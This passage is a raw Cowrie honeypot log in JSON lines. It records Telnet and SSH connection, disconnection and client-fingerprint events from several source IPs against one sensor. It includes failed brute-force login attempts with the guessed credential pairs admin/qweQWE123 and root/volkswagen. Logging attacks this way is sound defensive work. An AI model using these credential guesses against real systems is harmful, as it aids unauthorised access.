03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:37.586428Z","src_ip":"38.137.11.14","session":"a9f629cdde15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35054,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6a1734a2f57","protocol":"telnet","message":"New connection: 162.55.233.176:35054 (159.203.135.109:23) [session: a6a1734a2f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:37.635335Z"}
{"eventid":"cowrie.session.closed","duration":31.33368492126465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:37.876090Z","src_ip":"162.55.233.176","session":"6099b52d0aae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.82049870491028,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:37.900980Z","src_ip":"188.208.141.113","session":"b3ec3e6f43a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35056,"dst_ip":"159.203.135.109","dst_port":23,"session":"37517c08cb5e","protocol":"telnet","message":"New connection: 162.55.233.176:35056 (159.203.135.109:23) [session: 37517c08cb5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:38.262879Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35066,"dst_ip":"159.203.135.109","dst_port":23,"session":"67a0dd412e7b","protocol":"telnet","message":"New connection: 162.55.233.176:35066 (159.203.135.109:23) [session: 67a0dd412e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:38.278945Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qweQWE123","message":"login attempt [admin/qweQWE123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:38.494537Z","src_ip":"38.137.11.14","session":"a9f629cdde15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.0","message":"Connection lost after 13.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:38.542792Z","src_ip":"213.209.159.158","session":"35adc7e6ae59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":58814,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1343ce0d811","protocol":"ssh","message":"New connection: 213.209.159.158:58814 (10.17.0.5:22) [session: b1343ce0d811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:38.649184Z"}
{"eventid":"cowrie.session.closed","duration":40.915698289871216,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:38.960525Z","src_ip":"188.208.141.113","session":"0e7abc02cc21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.36798286437988,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:39.036482Z","src_ip":"162.55.233.176","session":"fffa1c03bff4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35074,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b8a0f01f327","protocol":"telnet","message":"New connection: 162.55.233.176:35074 (159.203.135.109:23) [session: 0b8a0f01f327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:39.283063Z"}
{"eventid":"cowrie.session.closed","duration":36.17236065864563,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:39.441542Z","src_ip":"162.55.233.176","session":"9104639a9ad4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35080,"dst_ip":"159.203.135.109","dst_port":23,"session":"45acc86d1566","protocol":"telnet","message":"New connection: 162.55.233.176:35080 (159.203.135.109:23) [session: 45acc86d1566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:39.489803Z"}
{"eventid":"cowrie.session.closed","duration":30.821832180023193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:39.676339Z","src_ip":"162.55.233.176","session":"b905ff783ebb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:39.714922Z","src_ip":"38.137.11.14","session":"a9f629cdde15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35082,"dst_ip":"159.203.135.109","dst_port":23,"session":"44d4be983edf","protocol":"telnet","message":"New connection: 162.55.233.176:35082 (159.203.135.109:23) [session: 44d4be983edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:39.869036Z"}
{"eventid":"cowrie.session.closed","duration":36.507147550582886,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:39.896078Z","src_ip":"162.55.233.176","session":"4a9777b0284d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35096,"dst_ip":"159.203.135.109","dst_port":23,"session":"4951b4c8eaa3","protocol":"telnet","message":"New connection: 162.55.233.176:35096 (159.203.135.109:23) [session: 4951b4c8eaa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:40.015385Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35106,"dst_ip":"159.203.135.109","dst_port":23,"session":"814914aad75a","protocol":"telnet","message":"New connection: 162.55.233.176:35106 (159.203.135.109:23) [session: 814914aad75a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:40.206714Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35118,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a6c34ad6bc3","protocol":"telnet","message":"New connection: 162.55.233.176:35118 (159.203.135.109:23) [session: 2a6c34ad6bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:40.224377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:40.424771Z","src_ip":"213.209.159.158","session":"b1343ce0d811","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:40.429119Z","src_ip":"213.209.159.158","session":"b1343ce0d811","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.987833976745605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:40.563508Z","src_ip":"162.55.233.176","session":"3bb440afdd9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35134,"dst_ip":"159.203.135.109","dst_port":23,"session":"52a13fd2ebf3","protocol":"telnet","message":"New connection: 162.55.233.176:35134 (159.203.135.109:23) [session: 52a13fd2ebf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:41.545942Z"}
{"eventid":"cowrie.session.closed","duration":31.202943801879883,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:41.766975Z","src_ip":"162.55.233.176","session":"dd295daee6cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.826175689697266,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:42.060516Z","src_ip":"162.55.233.176","session":"b621a4d976f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35136,"dst_ip":"159.203.135.109","dst_port":23,"session":"01297d57d770","protocol":"telnet","message":"New connection: 162.55.233.176:35136 (159.203.135.109:23) [session: 01297d57d770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:42.395602Z"}
{"eventid":"cowrie.session.closed","duration":36.38685894012451,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:42.513141Z","src_ip":"162.55.233.176","session":"52e7beb5c752","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.16846752166748,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:42.756302Z","src_ip":"162.55.233.176","session":"eed85c84a874","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47284,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cb4fc375d77","protocol":"telnet","message":"New connection: 188.208.141.113:47284 (10.17.0.5:23) [session: 4cb4fc375d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:42.970737Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54392,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ec6af453bd9","protocol":"telnet","message":"New connection: 162.55.233.176:54392 (159.203.135.109:23) [session: 2ec6af453bd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:42.975631Z"}
{"eventid":"cowrie.session.closed","duration":31.19875931739807,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:43.651979Z","src_ip":"162.55.233.176","session":"c7f1f65c0ff9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54398,"dst_ip":"159.203.135.109","dst_port":23,"session":"484441621f44","protocol":"telnet","message":"New connection: 162.55.233.176:54398 (159.203.135.109:23) [session: 484441621f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:43.663498Z"}
{"eventid":"cowrie.session.closed","duration":31.416444778442383,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:43.811222Z","src_ip":"162.55.233.176","session":"74d519be589c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.270134687423706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:43.915471Z","src_ip":"162.55.233.176","session":"89fa29b6e424","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54400,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc785e2cd698","protocol":"telnet","message":"New connection: 162.55.233.176:54400 (159.203.135.109:23) [session: fc785e2cd698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:43.986309Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54408,"dst_ip":"159.203.135.109","dst_port":23,"session":"f914b4b1c354","protocol":"telnet","message":"New connection: 162.55.233.176:54408 (159.203.135.109:23) [session: f914b4b1c354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:44.350720Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54420,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a477ad53c9f","protocol":"telnet","message":"New connection: 162.55.233.176:54420 (159.203.135.109:23) [session: 9a477ad53c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:44.943949Z"}
{"eventid":"cowrie.session.closed","duration":35.57321071624756,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:45.356485Z","src_ip":"162.55.233.176","session":"5836418056f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.50448155403137,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:45.368968Z","src_ip":"162.55.233.176","session":"aada301bd89d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.72622060775757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:46.033499Z","src_ip":"162.55.233.176","session":"688093d44939","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54432,"dst_ip":"159.203.135.109","dst_port":23,"session":"953f8a4ef475","protocol":"telnet","message":"New connection: 162.55.233.176:54432 (159.203.135.109:23) [session: 953f8a4ef475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:46.844605Z"}
{"eventid":"cowrie.session.closed","duration":36.06567692756653,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:47.002115Z","src_ip":"162.55.233.176","session":"5e8396d9e02d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54436,"dst_ip":"159.203.135.109","dst_port":23,"session":"88b4bcd5185e","protocol":"telnet","message":"New connection: 162.55.233.176:54436 (159.203.135.109:23) [session: 88b4bcd5185e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:47.374789Z"}
{"eventid":"cowrie.session.closed","duration":33.16223764419556,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:47.411003Z","src_ip":"162.55.233.176","session":"1b408586b913","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54450,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a5dc81a5cf8","protocol":"telnet","message":"New connection: 162.55.233.176:54450 (159.203.135.109:23) [session: 9a5dc81a5cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:47.597554Z"}
{"eventid":"cowrie.session.closed","duration":31.66463828086853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:47.784618Z","src_ip":"162.55.233.176","session":"93766dd9cc9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54466,"dst_ip":"159.203.135.109","dst_port":23,"session":"03684a4e235a","protocol":"telnet","message":"New connection: 162.55.233.176:54466 (159.203.135.109:23) [session: 03684a4e235a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:48.351072Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":42318,"dst_ip":"10.17.0.5","dst_port":23,"session":"f468f61c7a27","protocol":"telnet","message":"New connection: 206.189.32.23:42318 (10.17.0.5:23) [session: f468f61c7a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:48.368872Z"}
{"eventid":"cowrie.session.closed","duration":32.084840297698975,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:48.431614Z","src_ip":"162.55.233.176","session":"c2e74e7a9f9e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"volkswagen","message":"login attempt [root/volkswagen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:49.127703Z","src_ip":"213.209.159.158","session":"b1343ce0d811","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54476,"dst_ip":"159.203.135.109","dst_port":23,"session":"489ad6c01797","protocol":"telnet","message":"New connection: 162.55.233.176:54476 (159.203.135.109:23) [session: 489ad6c01797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:49.336833Z"}
{"eventid":"cowrie.session.closed","duration":33.67936158180237,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:49.429746Z","src_ip":"162.55.233.176","session":"0d6de1b9e61a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54482,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d07d144ed72","protocol":"telnet","message":"New connection: 162.55.233.176:54482 (159.203.135.109:23) [session: 4d07d144ed72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:49.462969Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54496,"dst_ip":"159.203.135.109","dst_port":23,"session":"48677cebe127","protocol":"telnet","message":"New connection: 162.55.233.176:54496 (159.203.135.109:23) [session: 48677cebe127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:49.972389Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54500,"dst_ip":"159.203.135.109","dst_port":23,"session":"5708d3f91e7e","protocol":"telnet","message":"New connection: 162.55.233.176:54500 (159.203.135.109:23) [session: 5708d3f91e7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:50.142515Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54514,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd530a153608","protocol":"telnet","message":"New connection: 162.55.233.176:54514 (159.203.135.109:23) [session: cd530a153608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:50.899016Z"}
{"eventid":"cowrie.session.closed","duration":2.5744974613189697,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:50.943280Z","src_ip":"206.189.32.23","session":"f468f61c7a27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54526,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0154a734aa8","protocol":"telnet","message":"New connection: 162.55.233.176:54526 (159.203.135.109:23) [session: a0154a734aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:51.052877Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54532,"dst_ip":"159.203.135.109","dst_port":23,"session":"84a80f4e16da","protocol":"telnet","message":"New connection: 162.55.233.176:54532 (159.203.135.109:23) [session: 84a80f4e16da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:51.231722Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54540,"dst_ip":"159.203.135.109","dst_port":23,"session":"5279e96af3ac","protocol":"telnet","message":"New connection: 162.55.233.176:54540 (159.203.135.109:23) [session: 5279e96af3ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:51.322724Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54546,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c67a6e5ff52","protocol":"telnet","message":"New connection: 162.55.233.176:54546 (159.203.135.109:23) [session: 2c67a6e5ff52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:51.421977Z"}
{"eventid":"cowrie.session.closed","duration":"13.4","message":"Connection lost after 13.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:52.071059Z","src_ip":"213.209.159.158","session":"b1343ce0d811","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.092201948165894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:52.127694Z","src_ip":"162.55.233.176","session":"d20ea9441dee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":15346,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6e0c855f233","protocol":"ssh","message":"New connection: 213.209.159.158:15346 (10.17.0.5:22) [session: c6e0c855f233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:52.159417Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54558,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a7d21e6425f","protocol":"telnet","message":"New connection: 162.55.233.176:54558 (159.203.135.109:23) [session: 9a7d21e6425f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:52.246716Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36616,"dst_ip":"10.17.0.5","dst_port":23,"session":"752cffdac129","protocol":"telnet","message":"New connection: 188.208.141.113:36616 (10.17.0.5:23) [session: 752cffdac129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:52.300897Z"}
{"eventid":"cowrie.session.closed","duration":35.11304807662964,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:52.569352Z","src_ip":"162.55.233.176","session":"b2dd2d82ab9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69601798057556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:53.241893Z","src_ip":"162.55.233.176","session":"6278c0a36d0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36628,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2a3e2464dae","protocol":"telnet","message":"New connection: 188.208.141.113:36628 (10.17.0.5:23) [session: b2a3e2464dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:53.312560Z"}
{"eventid":"cowrie.session.closed","duration":31.12796115875244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:53.542696Z","src_ip":"162.55.233.176","session":"38a9ee77b3fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25507092475891,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:53.581866Z","src_ip":"162.55.233.176","session":"59589d632479","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37452,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6dd4204ca8a","protocol":"telnet","message":"New connection: 162.55.233.176:37452 (159.203.135.109:23) [session: a6dd4204ca8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:53.704441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:55:53.751763Z","src_ip":"213.209.159.158","session":"c6e0c855f233","protocol":"ssh"}
